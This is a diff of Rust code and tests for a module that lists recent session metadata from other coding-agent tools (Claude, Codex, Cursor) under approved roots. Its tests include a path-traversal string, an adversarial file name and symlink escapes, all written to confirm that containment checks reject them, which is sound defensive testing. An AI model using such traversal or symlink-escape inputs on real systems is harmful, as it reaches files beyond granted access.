assert_eq!(sessions[1].native_id, compressed_id.to_string());
|
||||
assert_eq!(sessions[1].title, "compressed title");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fallback_requires_complete_matching_first_session_meta() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_150_000);
|
||||
let day = session_day(root.path(), now);
|
||||
fs::create_dir_all(&day).unwrap();
|
||||
for (id, first_payload) in [
|
||||
(
|
||||
uuid::Uuid::from_u128(30),
|
||||
json!({"id":uuid::Uuid::from_u128(30),"source":"cli"}),
|
||||
),
|
||||
(
|
||||
uuid::Uuid::from_u128(31),
|
||||
json!({"id":uuid::Uuid::from_u128(31),"cwd":cwd.display().to_string()}),
|
||||
),
|
||||
(
|
||||
uuid::Uuid::from_u128(32),
|
||||
json!({"cwd":cwd.display().to_string(),"source":"cli"}),
|
||||
),
|
||||
(
|
||||
uuid::Uuid::from_u128(33),
|
||||
json!({"id":uuid::Uuid::from_u128(999),"cwd":cwd.display().to_string(),"source":"cli"}),
|
||||
),
|
||||
] {
|
||||
let path = day.join(format!("rollout-2027-01-15T12-00-00-{id}.jsonl"));
|
||||
fs::write(
|
||||
&path,
|
||||
[
|
||||
json!({"type":"session_meta","payload":first_payload}).to_string(),
|
||||
rollout_records(id, &cwd, json!("cli"), "fork copy"),
|
||||
]
|
||||
.join("\n"),
|
||||
)
|
||||
.unwrap();
|
||||
touch(&path, now);
|
||||
}
|
||||
assert!(scan_in_home(root.path(), &cwd, now).is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rollout_paths_must_remain_under_approved_roots() {
|
||||
let (_tempdir, root) = canonical_tempdir();
|
||||
let sessions = root.join("sessions");
|
||||
fs::create_dir_all(&sessions).unwrap();
|
||||
let approved_id = uuid::Uuid::from_u128(600);
|
||||
let compressed_id = uuid::Uuid::from_u128(601);
|
||||
let approved = rollout_path(&sessions, approved_id);
|
||||
let compressed_plain = rollout_path(&sessions, compressed_id);
|
||||
let compressed = PathBuf::from(format!("{}.zst", compressed_plain.display()));
|
||||
let outside = rollout_path(&root, uuid::Uuid::from_u128(602));
|
||||
let wrong_extension = sessions.join("not-a-rollout.txt");
|
||||
let directory = rollout_path(&sessions, uuid::Uuid::from_u128(603));
|
||||
fs::write(&approved, "").unwrap();
|
||||
fs::write(&compressed, "").unwrap();
|
||||
fs::write(&outside, "").unwrap();
|
||||
fs::write(&wrong_extension, "").unwrap();
|
||||
fs::create_dir_all(&directory).unwrap();
|
||||
let approved_root = ApprovedRoot::new(&root).unwrap();
|
||||
assert_eq!(
|
||||
existing_rollout_path(
|
||||
&approved_root,
|
||||
&approved.display().to_string(),
|
||||
&approved_id.to_string()
|
||||
),
|
||||
Some(dunce::canonicalize(&approved).unwrap())
|
||||
);
|
||||
assert_eq!(
|
||||
existing_rollout_path(
|
||||
&approved_root,
|
||||
&compressed_plain.display().to_string(),
|
||||
&compressed_id.to_string()
|
||||
),
|
||||
Some(dunce::canonicalize(&compressed).unwrap())
|
||||
);
|
||||
assert_eq!(
|
||||
existing_rollout_path(
|
||||
&approved_root,
|
||||
&outside.display().to_string(),
|
||||
&uuid::Uuid::from_u128(602).to_string()
|
||||
),
|
||||
None
|
||||
);
|
||||
assert_eq!(
|
||||
existing_rollout_path(
|
||||
&approved_root,
|
||||
&wrong_extension.display().to_string(),
|
||||
&uuid::Uuid::from_u128(604).to_string()
|
||||
),
|
||||
None
|
||||
);
|
||||
assert_eq!(
|
||||
existing_rollout_path(
|
||||
&approved_root,
|
||||
&directory.display().to_string(),
|
||||
&uuid::Uuid::from_u128(603).to_string()
|
||||
),
|
||||
None
|
||||
);
|
||||
let traversal = format!(
|
||||
"sessions/../{}",
|
||||
outside.file_name().unwrap().to_string_lossy()
|
||||
);
|
||||
assert_eq!(
|
||||
existing_rollout_path(
|
||||
&approved_root,
|
||||
&traversal,
|
||||
&uuid::Uuid::from_u128(602).to_string()
|
||||
),
|
||||
None
|
||||
);
|
||||
let adversarial = sessions.join(format!(
|
||||
"rollout-2027-01-15T12-00-00-extra-{}.jsonl",
|
||||
uuid::Uuid::from_u128(604)
|
||||
));
|
||||
fs::write(&adversarial, "").unwrap();
|
||||
assert_eq!(rollout_id(&adversarial), None);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
let link = rollout_path(&sessions, uuid::Uuid::from_u128(602));
|
||||
std::os::unix::fs::symlink(&outside, &link).unwrap();
|
||||
assert_eq!(
|
||||
existing_rollout_path(
|
||||
&approved_root,
|
||||
&link.display().to_string(),
|
||||
&uuid::Uuid::from_u128(602).to_string()
|
||||
),
|
||||
None
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn fallback_rejects_sessions_parent_symlink_escape() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let outside = TempDir::new().unwrap();
|
||||
let codex_home = root.path().join("codex");
|
||||
let cwd = codex_home.join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_300_000);
|
||||
let outside_day = session_day(outside.path(), now);
|
||||
fs::create_dir_all(&outside_day).unwrap();
|
||||
let id = uuid::Uuid::from_u128(5_000);
|
||||
let rollout = rollout_path(&outside_day, id);
|
||||
fs::write(
|
||||
&rollout,
|
||||
rollout_records(id, &cwd, json!("cli"), "outside sessions root"),
|
||||
)
|
||||
.unwrap();
|
||||
touch(&rollout, now);
|
||||
std::os::unix::fs::symlink(outside.path().join("sessions"), codex_home.join("sessions"))
|
||||
.unwrap();
|
||||
assert!(scan_in_home(&codex_home, &cwd, now).is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn date_dirs_include_utc_and_offset_boundary_days() {
|
||||
let root = Path::new("/sessions");
|
||||
let now = system_time_from_millis(
|
||||
chrono::DateTime::parse_from_rfc3339("2026-01-01T00:30:00Z")
|
||||
.unwrap()
|
||||
.timestamp_millis(),
|
||||
)
|
||||
.unwrap();
|
||||
let negative = super::super::files::recent_date_dirs(root, now, -2 * 60 * 60);
|
||||
assert_eq!(negative.len(), 32);
|
||||
assert!(negative.contains(&root.join("2026/01/01")));
|
||||
assert!(negative.contains(&root.join("2025/12/31")));
|
||||
let late = system_time_from_millis(
|
||||
chrono::DateTime::parse_from_rfc3339("2026-01-01T23:30:00Z")
|
||||
.unwrap()
|
||||
.timestamp_millis(),
|
||||
)
|
||||
.unwrap();
|
||||
let positive = super::super::files::recent_date_dirs(root, late, 2 * 60 * 60);
|
||||
assert_eq!(positive[0], root.join("2026/01/02"));
|
||||
assert!(positive.contains(&root.join("2026/01/01")));
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
use std::fs;
|
||||
use std::io::{Read, Write};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::time::{Duration, SystemTime, UNIX_EPOCH};
|
||||
|
||||
use filetime::FileTime;
|
||||
use rusqlite::{Connection, params, types::Value as SqlValue};
|
||||
use serde_json::json;
|
||||
use tempfile::TempDir;
|
||||
|
||||
use super::*;
|
||||
use crate::foreign_sessions::{
|
||||
canonical_tempdir, millis_from_system_time, system_time_from_millis,
|
||||
};
|
||||
|
||||
mod db;
|
||||
mod files;
|
||||
|
||||
struct DbRow<'a> {
|
||||
id: uuid::Uuid,
|
||||
rollout_path: &'a Path,
|
||||
updated_at_ms: i64,
|
||||
source: &'a str,
|
||||
cwd: &'a Path,
|
||||
title: &'a str,
|
||||
first_user_message: &'a str,
|
||||
archived: bool,
|
||||
}
|
||||
|
||||
fn create_db(path: &Path, rows: &[DbRow<'_>]) {
|
||||
let connection = Connection::open(path).unwrap();
|
||||
connection
|
||||
.execute_batch(
|
||||
"CREATE TABLE threads (
|
||||
id TEXT,
|
||||
rollout_path TEXT,
|
||||
updated_at_ms INTEGER,
|
||||
source TEXT,
|
||||
cwd TEXT,
|
||||
title TEXT,
|
||||
first_user_message TEXT,
|
||||
archived INTEGER,
|
||||
git_branch TEXT
|
||||
);
|
||||
CREATE INDEX threads_archived_cwd_updated \
|
||||
ON threads(archived, cwd, updated_at_ms DESC);",
|
||||
)
|
||||
.unwrap();
|
||||
for row in rows {
|
||||
connection
|
||||
.execute(
|
||||
"INSERT INTO threads VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, NULL)",
|
||||
params![
|
||||
row.id.to_string(),
|
||||
row.rollout_path.display().to_string(),
|
||||
row.updated_at_ms,
|
||||
row.source,
|
||||
row.cwd.display().to_string(),
|
||||
row.title,
|
||||
row.first_user_message,
|
||||
row.archived,
|
||||
],
|
||||
)
|
||||
.unwrap();
|
||||
}
|
||||
}
|
||||
|
||||
fn touch(path: &Path, time: SystemTime) {
|
||||
filetime::set_file_mtime(path, FileTime::from_system_time(time)).unwrap();
|
||||
}
|
||||
|
||||
fn session_day(root: &Path, now: SystemTime) -> PathBuf {
|
||||
use chrono::{DateTime, Datelike, Utc};
|
||||
|
||||
let date = DateTime::<Utc>::from(now).date_naive();
|
||||
root.join("sessions")
|
||||
.join(format!("{:04}", date.year()))
|
||||
.join(format!("{:02}", date.month()))
|
||||
.join(format!("{:02}", date.day()))
|
||||
}
|
||||
|
||||
fn rollout_path(dir: &Path, id: uuid::Uuid) -> PathBuf {
|
||||
dir.join(format!("rollout-2027-01-15T12-00-00-{id}.jsonl"))
|
||||
}
|
||||
|
||||
fn write_recent_rollout(
|
||||
root: &Path,
|
||||
cwd: &Path,
|
||||
now: SystemTime,
|
||||
id: uuid::Uuid,
|
||||
source: serde_json::Value,
|
||||
) -> PathBuf {
|
||||
let day = session_day(root, now);
|
||||
fs::create_dir_all(&day).unwrap();
|
||||
let path = rollout_path(&day, id);
|
||||
fs::write(
|
||||
&path,
|
||||
json!({
|
||||
"type": "session_meta",
|
||||
"payload": {
|
||||
"id": id,
|
||||
"cwd": cwd.display().to_string(),
|
||||
"source": source,
|
||||
}
|
||||
})
|
||||
.to_string(),
|
||||
)
|
||||
.unwrap();
|
||||
touch(&path, now);
|
||||
path
|
||||
}
|
||||
|
||||
fn oversized_text(limit: usize, utf8: bool) -> String {
|
||||
if utf8 {
|
||||
"é".repeat(limit / 2 + 1)
|
||||
} else {
|
||||
"x".repeat(limit + 1)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,773 @@
|
||||
//! Bounded, metadata-only listing of foreign coding-agent sessions.
|
||||
//! Foreign SQLite stores are opened only when `kigi_sqlite_journal::JournalMode`
|
||||
//! selects local WAL. The direct read-only/query-only transaction makes no
|
||||
//! logical writes, though WAL coordination may update shared-memory read marks.
|
||||
//! Network filesystems fail soft before SQLite open, conversion, or writes.
|
||||
use std::cmp::Ordering;
|
||||
use std::collections::HashSet;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::time::{Duration, SystemTime, UNIX_EPOCH};
|
||||
mod capability;
|
||||
mod claude;
|
||||
mod codex;
|
||||
use capability::{ApprovedRoot, open_sqlite_transaction};
|
||||
pub const MAX_SESSIONS_PER_TOOL: usize = 50;
|
||||
pub const MAX_SESSION_AGE: Duration = Duration::from_secs(30 * 24 * 60 * 60);
|
||||
pub const MAX_TITLE_CHARS: usize = 200;
|
||||
const MAX_FUTURE_SKEW: Duration = Duration::from_secs(5 * 60);
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)]
|
||||
pub enum ForeignSessionTool {
|
||||
Claude,
|
||||
Codex,
|
||||
Cursor,
|
||||
}
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)]
|
||||
pub enum ForeignSessionSource {
|
||||
ClaudeCode,
|
||||
CodexCli,
|
||||
CodexVsCode,
|
||||
CodexAtlas,
|
||||
CodexChatGpt,
|
||||
CursorDesktop,
|
||||
CursorCli,
|
||||
}
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct ForeignSessionSummary {
|
||||
pub tool: ForeignSessionTool,
|
||||
pub source: ForeignSessionSource,
|
||||
pub native_id: String,
|
||||
pub title: String,
|
||||
pub cwd: PathBuf,
|
||||
pub updated_at: SystemTime,
|
||||
pub branch: Option<String>,
|
||||
}
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct RecentForeignSession {
|
||||
pub tool: ForeignSessionTool,
|
||||
pub native_id: String,
|
||||
pub age: Duration,
|
||||
}
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
struct RecentCandidate {
|
||||
tool: ForeignSessionTool,
|
||||
source: ForeignSessionSource,
|
||||
native_id: String,
|
||||
updated_at: SystemTime,
|
||||
}
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
enum RecentProbe<T> {
|
||||
Complete(Option<T>),
|
||||
Incomplete,
|
||||
}
|
||||
fn approved_root_for_recent(path: &Path) -> Result<Option<ApprovedRoot>, ()> {
|
||||
match std::fs::symlink_metadata(path) {
|
||||
Err(error) if error.kind() == std::io::ErrorKind::NotFound => Ok(None),
|
||||
Err(_) => Err(()),
|
||||
Ok(_) => ApprovedRoot::new(path).map(Some).ok_or(()),
|
||||
}
|
||||
}
|
||||
#[cfg(test)]
|
||||
impl<T> RecentProbe<T> {
|
||||
fn unwrap(self) -> T {
|
||||
match self {
|
||||
Self::Complete(Some(value)) => value,
|
||||
Self::Complete(None) => {
|
||||
panic!("called RecentProbe::unwrap on complete-empty probe")
|
||||
}
|
||||
Self::Incomplete => panic!("called RecentProbe::unwrap on incomplete probe"),
|
||||
}
|
||||
}
|
||||
fn is_none(&self) -> bool {
|
||||
matches!(self, Self::Complete(None))
|
||||
}
|
||||
}
|
||||
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)]
|
||||
pub struct EnabledForeignSessionSources {
|
||||
pub claude: bool,
|
||||
pub codex: bool,
|
||||
pub cursor: bool,
|
||||
}
|
||||
pub fn scan_foreign_sessions(
|
||||
cwd: &Path,
|
||||
enabled: EnabledForeignSessionSources,
|
||||
) -> Vec<ForeignSessionSummary> {
|
||||
let scan_cursor = |_: &Path, _: SystemTime| Vec::new();
|
||||
scan_with(cwd, enabled, claude::scan, codex::scan, scan_cursor)
|
||||
}
|
||||
pub fn most_recent_foreign_session(
|
||||
cwd: &Path,
|
||||
enabled: EnabledForeignSessionSources,
|
||||
within: Duration,
|
||||
) -> Option<RecentForeignSession> {
|
||||
let recent_cursor = |_: &Path, _: SystemTime, _: Duration| RecentProbe::Complete(None);
|
||||
match most_recent_with(
|
||||
cwd,
|
||||
enabled,
|
||||
within,
|
||||
SystemTime::now(),
|
||||
claude::most_recent,
|
||||
codex::most_recent,
|
||||
recent_cursor,
|
||||
) {
|
||||
RecentProbe::Complete(session) => session,
|
||||
RecentProbe::Incomplete => None,
|
||||
}
|
||||
}
|
||||
fn most_recent_with<Claude, Codex, Cursor>(
|
||||
cwd: &Path,
|
||||
enabled: EnabledForeignSessionSources,
|
||||
within: Duration,
|
||||
now: SystemTime,
|
||||
recent_claude: Claude,
|
||||
recent_codex: Codex,
|
||||
recent_cursor: Cursor,
|
||||
) -> RecentProbe<RecentForeignSession>
|
||||
where
|
||||
Claude: FnOnce(&Path, SystemTime, Duration) -> RecentProbe<RecentCandidate>,
|
||||
Codex: FnOnce(&Path, SystemTime, Duration) -> RecentProbe<RecentCandidate>,
|
||||
Cursor: FnOnce(&Path, SystemTime, Duration) -> RecentProbe<RecentCandidate>,
|
||||
{
|
||||
if !enabled.claude && !enabled.codex && !enabled.cursor {
|
||||
return RecentProbe::Complete(None);
|
||||
}
|
||||
let Ok(cwd) = dunce::canonicalize(cwd) else {
|
||||
return RecentProbe::Complete(None);
|
||||
};
|
||||
let mut candidates = Vec::with_capacity(3);
|
||||
if enabled.claude {
|
||||
match recent_claude(&cwd, now, within) {
|
||||
RecentProbe::Complete(candidate) => candidates.extend(candidate),
|
||||
RecentProbe::Incomplete => return RecentProbe::Incomplete,
|
||||
}
|
||||
}
|
||||
if enabled.codex {
|
||||
match recent_codex(&cwd, now, within) {
|
||||
RecentProbe::Complete(candidate) => candidates.extend(candidate),
|
||||
RecentProbe::Incomplete => return RecentProbe::Incomplete,
|
||||
}
|
||||
}
|
||||
if enabled.cursor {
|
||||
match recent_cursor(&cwd, now, within) {
|
||||
RecentProbe::Complete(candidate) => candidates.extend(candidate),
|
||||
RecentProbe::Incomplete => return RecentProbe::Incomplete,
|
||||
}
|
||||
}
|
||||
let winner = candidates
|
||||
.into_iter()
|
||||
.filter(|candidate| is_within(candidate.updated_at, now, within))
|
||||
.min_by(recent_candidate_order);
|
||||
RecentProbe::Complete(winner.map(|winner| {
|
||||
RecentForeignSession {
|
||||
tool: winner.tool,
|
||||
native_id: winner.native_id,
|
||||
age: now
|
||||
.duration_since(winner.updated_at)
|
||||
.unwrap_or(Duration::ZERO),
|
||||
}
|
||||
}))
|
||||
}
|
||||
fn recent_candidate_order(a: &RecentCandidate, b: &RecentCandidate) -> Ordering {
|
||||
b.updated_at
|
||||
.cmp(&a.updated_at)
|
||||
.then_with(|| a.tool.cmp(&b.tool))
|
||||
.then_with(|| a.native_id.cmp(&b.native_id))
|
||||
.then_with(|| a.source.cmp(&b.source))
|
||||
}
|
||||
fn scan_with<Claude, Codex, Cursor>(
|
||||
cwd: &Path,
|
||||
enabled: EnabledForeignSessionSources,
|
||||
mut scan_claude: Claude,
|
||||
mut scan_codex: Codex,
|
||||
mut scan_cursor: Cursor,
|
||||
) -> Vec<ForeignSessionSummary>
|
||||
where
|
||||
Claude: FnMut(&Path, SystemTime) -> Vec<ForeignSessionSummary>,
|
||||
Codex: FnMut(&Path, SystemTime) -> Vec<ForeignSessionSummary>,
|
||||
Cursor: FnMut(&Path, SystemTime) -> Vec<ForeignSessionSummary>,
|
||||
{
|
||||
if !enabled.claude && !enabled.codex && !enabled.cursor {
|
||||
return Vec::new();
|
||||
}
|
||||
let canonical_cwd = dunce::canonicalize(cwd).unwrap_or_else(|_| cwd.to_path_buf());
|
||||
let mut cwd_spellings = vec![canonical_cwd];
|
||||
if cwd_spellings[0].as_path() != cwd {
|
||||
cwd_spellings.push(cwd.to_path_buf());
|
||||
}
|
||||
let now = SystemTime::now();
|
||||
let mut sessions = Vec::new();
|
||||
if enabled.claude {
|
||||
let mut tool_sessions = Vec::new();
|
||||
for cwd in &cwd_spellings {
|
||||
tool_sessions.extend(scan_claude(cwd, now));
|
||||
}
|
||||
sessions.extend(finish_tool_scan(tool_sessions));
|
||||
}
|
||||
if enabled.codex {
|
||||
let mut tool_sessions = Vec::new();
|
||||
for cwd in &cwd_spellings {
|
||||
tool_sessions.extend(scan_codex(cwd, now));
|
||||
}
|
||||
sessions.extend(finish_tool_scan(tool_sessions));
|
||||
}
|
||||
if enabled.cursor {
|
||||
let mut tool_sessions = Vec::new();
|
||||
for cwd in &cwd_spellings {
|
||||
tool_sessions.extend(scan_cursor(cwd, now));
|
||||
}
|
||||
sessions.extend(finish_tool_scan(tool_sessions));
|
||||
}
|
||||
sort_sessions(&mut sessions);
|
||||
sessions
|
||||
}
|
||||
fn sort_sessions(sessions: &mut [ForeignSessionSummary]) {
|
||||
sessions.sort_by(|a, b| {
|
||||
b.updated_at
|
||||
.cmp(&a.updated_at)
|
||||
.then_with(|| a.tool.cmp(&b.tool))
|
||||
.then_with(|| a.native_id.cmp(&b.native_id))
|
||||
.then_with(|| a.source.cmp(&b.source))
|
||||
.then_with(|| a.title.cmp(&b.title))
|
||||
.then_with(|| a.cwd.cmp(&b.cwd))
|
||||
});
|
||||
}
|
||||
pub(super) fn finish_tool_scan(
|
||||
mut sessions: Vec<ForeignSessionSummary>,
|
||||
) -> Vec<ForeignSessionSummary> {
|
||||
sort_sessions(&mut sessions);
|
||||
let mut seen = HashSet::new();
|
||||
sessions.retain(|session| seen.insert(session.native_id.clone()));
|
||||
sessions.truncate(MAX_SESSIONS_PER_TOOL);
|
||||
sessions
|
||||
}
|
||||
pub(super) fn retain_top_k_by<T>(
|
||||
candidates: &mut Vec<T>,
|
||||
candidate: T,
|
||||
limit: usize,
|
||||
compare: impl Fn(&T, &T) -> Ordering,
|
||||
) {
|
||||
if limit == 0 {
|
||||
return;
|
||||
}
|
||||
if candidates.len() == limit {
|
||||
if !candidates
|
||||
.last()
|
||||
.is_some_and(|worst| compare(worst, &candidate).is_gt())
|
||||
{
|
||||
return;
|
||||
}
|
||||
candidates.pop();
|
||||
}
|
||||
let index = candidates
|
||||
.binary_search_by(|existing| compare(existing, &candidate))
|
||||
.unwrap_or_else(|index| index);
|
||||
candidates.insert(index, candidate);
|
||||
}
|
||||
pub(super) fn is_within(updated_at: SystemTime, now: SystemTime, within: Duration) -> bool {
|
||||
match now.duration_since(updated_at) {
|
||||
Ok(age) => age <= within,
|
||||
Err(future) => future.duration() <= MAX_FUTURE_SKEW,
|
||||
}
|
||||
}
|
||||
pub(super) fn system_time_from_millis(millis: i64) -> Option<SystemTime> {
|
||||
let millis = u64::try_from(millis).ok()?;
|
||||
UNIX_EPOCH.checked_add(Duration::from_millis(millis))
|
||||
}
|
||||
pub(super) fn millis_from_system_time(time: SystemTime) -> Option<i64> {
|
||||
let millis = time.duration_since(UNIX_EPOCH).ok()?.as_millis();
|
||||
i64::try_from(millis).ok()
|
||||
}
|
||||
pub(super) fn millis_bounds(now: SystemTime, within: Duration) -> Option<(i64, i64)> {
|
||||
Some((
|
||||
millis_from_system_time(now.checked_sub(within)?)?,
|
||||
millis_from_system_time(now.checked_add(MAX_FUTURE_SKEW)?)?,
|
||||
))
|
||||
}
|
||||
pub(super) fn normalize_title(value: &str) -> Option<String> {
|
||||
let normalized = value.split_whitespace().collect::<Vec<_>>().join(" ");
|
||||
if normalized.is_empty() {
|
||||
return None;
|
||||
}
|
||||
let mut chars = normalized.chars();
|
||||
let prefix: String = chars.by_ref().take(MAX_TITLE_CHARS).collect();
|
||||
if chars.next().is_none() {
|
||||
Some(prefix)
|
||||
} else {
|
||||
let mut truncated: String = prefix
|
||||
.chars()
|
||||
.take(MAX_TITLE_CHARS.saturating_sub(1))
|
||||
.collect();
|
||||
truncated.push('…');
|
||||
Some(truncated)
|
||||
}
|
||||
}
|
||||
/// Test fixture root: a tempdir plus its canonical path. `ApprovedRoot` (and
|
||||
/// the path-capability code built on it) canonicalizes internally, so fixtures
|
||||
/// must build paths from the canonical form or containment checks fail when
|
||||
/// the OS tempdir is behind a symlink (macOS: `/var` -> `/private/var`).
|
||||
#[cfg(test)]
|
||||
fn canonical_tempdir() -> (tempfile::TempDir, PathBuf) {
|
||||
let dir = tempfile::tempdir().unwrap();
|
||||
let path = dunce::canonicalize(dir.path()).unwrap();
|
||||
(dir, path)
|
||||
}
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::cell::{Cell, RefCell};
|
||||
fn summary(id: &str, updated_at: SystemTime) -> ForeignSessionSummary {
|
||||
ForeignSessionSummary {
|
||||
tool: ForeignSessionTool::Claude,
|
||||
source: ForeignSessionSource::ClaudeCode,
|
||||
native_id: id.to_owned(),
|
||||
title: id.to_owned(),
|
||||
cwd: PathBuf::from("/repo"),
|
||||
updated_at,
|
||||
branch: None,
|
||||
}
|
||||
}
|
||||
fn recent_candidate(
|
||||
tool: ForeignSessionTool,
|
||||
source: ForeignSessionSource,
|
||||
id: &str,
|
||||
updated_at: SystemTime,
|
||||
) -> RecentCandidate {
|
||||
RecentCandidate {
|
||||
tool,
|
||||
source,
|
||||
native_id: id.to_owned(),
|
||||
updated_at,
|
||||
}
|
||||
}
|
||||
fn complete_candidate(
|
||||
tool: ForeignSessionTool,
|
||||
source: ForeignSessionSource,
|
||||
id: &str,
|
||||
updated_at: SystemTime,
|
||||
) -> RecentProbe<RecentCandidate> {
|
||||
RecentProbe::Complete(Some(recent_candidate(tool, source, id, updated_at)))
|
||||
}
|
||||
#[test]
|
||||
fn recent_winner_is_newest_across_tools_with_deterministic_ties() {
|
||||
let now = UNIX_EPOCH + Duration::from_secs(10_000);
|
||||
let within = Duration::from_secs(600);
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let cwd = dunce::canonicalize(root.path()).unwrap();
|
||||
let enabled = EnabledForeignSessionSources {
|
||||
claude: true,
|
||||
codex: true,
|
||||
cursor: true,
|
||||
};
|
||||
let winner = most_recent_with(
|
||||
&cwd,
|
||||
enabled,
|
||||
within,
|
||||
now,
|
||||
|_, _, _| {
|
||||
complete_candidate(
|
||||
ForeignSessionTool::Claude,
|
||||
ForeignSessionSource::ClaudeCode,
|
||||
"claude",
|
||||
now - Duration::from_secs(3),
|
||||
)
|
||||
},
|
||||
|_, _, _| {
|
||||
complete_candidate(
|
||||
ForeignSessionTool::Codex,
|
||||
ForeignSessionSource::CodexCli,
|
||||
"codex",
|
||||
now - Duration::from_secs(1),
|
||||
)
|
||||
},
|
||||
|_, _, _| {
|
||||
complete_candidate(
|
||||
ForeignSessionTool::Cursor,
|
||||
ForeignSessionSource::CursorDesktop,
|
||||
"cursor",
|
||||
now - Duration::from_secs(2),
|
||||
)
|
||||
},
|
||||
)
|
||||
.unwrap();
|
||||
assert_eq!(winner.tool, ForeignSessionTool::Codex);
|
||||
assert_eq!(winner.native_id, "codex");
|
||||
let tied = most_recent_with(
|
||||
&cwd,
|
||||
enabled,
|
||||
within,
|
||||
now,
|
||||
|_, _, _| {
|
||||
complete_candidate(
|
||||
ForeignSessionTool::Claude,
|
||||
ForeignSessionSource::ClaudeCode,
|
||||
"claude",
|
||||
now,
|
||||
)
|
||||
},
|
||||
|_, _, _| {
|
||||
complete_candidate(
|
||||
ForeignSessionTool::Codex,
|
||||
ForeignSessionSource::CodexCli,
|
||||
"codex",
|
||||
now,
|
||||
)
|
||||
},
|
||||
|_, _, _| {
|
||||
complete_candidate(
|
||||
ForeignSessionTool::Cursor,
|
||||
ForeignSessionSource::CursorDesktop,
|
||||
"cursor",
|
||||
now,
|
||||
)
|
||||
},
|
||||
)
|
||||
.unwrap();
|
||||
assert_eq!(tied.tool, ForeignSessionTool::Claude);
|
||||
assert_eq!(tied.native_id, "claude");
|
||||
}
|
||||
#[test]
|
||||
fn recent_window_includes_cutoff_and_clamps_safe_future_age() {
|
||||
let now = UNIX_EPOCH + Duration::from_secs(10_000);
|
||||
let within = Duration::from_secs(600);
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let cwd = dunce::canonicalize(root.path()).unwrap();
|
||||
let claude_only = EnabledForeignSessionSources {
|
||||
claude: true,
|
||||
..Default::default()
|
||||
};
|
||||
let at_cutoff = most_recent_with(
|
||||
&cwd,
|
||||
claude_only,
|
||||
within,
|
||||
now,
|
||||
|_, _, _| {
|
||||
complete_candidate(
|
||||
ForeignSessionTool::Claude,
|
||||
ForeignSessionSource::ClaudeCode,
|
||||
"cutoff",
|
||||
now - within,
|
||||
)
|
||||
},
|
||||
|_, _, _| -> RecentProbe<RecentCandidate> { panic!("disabled codex store touched") },
|
||||
|_, _, _| -> RecentProbe<RecentCandidate> { panic!("disabled cursor store touched") },
|
||||
)
|
||||
.unwrap();
|
||||
assert_eq!(at_cutoff.age, within);
|
||||
let future = most_recent_with(
|
||||
&cwd,
|
||||
claude_only,
|
||||
within,
|
||||
now,
|
||||
|_, _, _| {
|
||||
complete_candidate(
|
||||
ForeignSessionTool::Claude,
|
||||
ForeignSessionSource::ClaudeCode,
|
||||
"future",
|
||||
now + MAX_FUTURE_SKEW,
|
||||
)
|
||||
},
|
||||
|_, _, _| -> RecentProbe<RecentCandidate> { panic!("disabled codex store touched") },
|
||||
|_, _, _| -> RecentProbe<RecentCandidate> { panic!("disabled cursor store touched") },
|
||||
)
|
||||
.unwrap();
|
||||
assert_eq!(future.age, Duration::ZERO);
|
||||
assert!(
|
||||
most_recent_with(
|
||||
&cwd,
|
||||
claude_only,
|
||||
within,
|
||||
now,
|
||||
|_, _, _| {
|
||||
complete_candidate(
|
||||
ForeignSessionTool::Claude,
|
||||
ForeignSessionSource::ClaudeCode,
|
||||
"too-far-future",
|
||||
now + MAX_FUTURE_SKEW + Duration::from_secs(1),
|
||||
)
|
||||
},
|
||||
|_, _, _| -> RecentProbe<RecentCandidate> {
|
||||
panic!("disabled codex store touched")
|
||||
},
|
||||
|_, _, _| -> RecentProbe<RecentCandidate> {
|
||||
panic!("disabled cursor store touched")
|
||||
},
|
||||
)
|
||||
.is_none()
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn recent_scan_never_touches_disabled_tool_stores() {
|
||||
let now = UNIX_EPOCH + Duration::from_secs(10_000);
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let cwd = dunce::canonicalize(root.path()).unwrap();
|
||||
let calls = Cell::new((0, 0, 0));
|
||||
let found = most_recent_with(
|
||||
&cwd,
|
||||
EnabledForeignSessionSources {
|
||||
codex: true,
|
||||
..Default::default()
|
||||
},
|
||||
Duration::from_secs(600),
|
||||
now,
|
||||
|_, _, _| {
|
||||
let (_, codex, cursor) = calls.get();
|
||||
calls.set((1, codex, cursor));
|
||||
RecentProbe::Complete(None)
|
||||
},
|
||||
|_, _, _| {
|
||||
let (claude, _, cursor) = calls.get();
|
||||
calls.set((claude, 1, cursor));
|
||||
complete_candidate(
|
||||
ForeignSessionTool::Codex,
|
||||
ForeignSessionSource::CodexCli,
|
||||
"codex",
|
||||
now,
|
||||
)
|
||||
},
|
||||
|_, _, _| {
|
||||
let (claude, codex, _) = calls.get();
|
||||
calls.set((claude, codex, 1));
|
||||
RecentProbe::Complete(None)
|
||||
},
|
||||
);
|
||||
assert_eq!(calls.get(), (0, 1, 0));
|
||||
assert_eq!(found.unwrap().tool, ForeignSessionTool::Codex);
|
||||
}
|
||||
#[test]
|
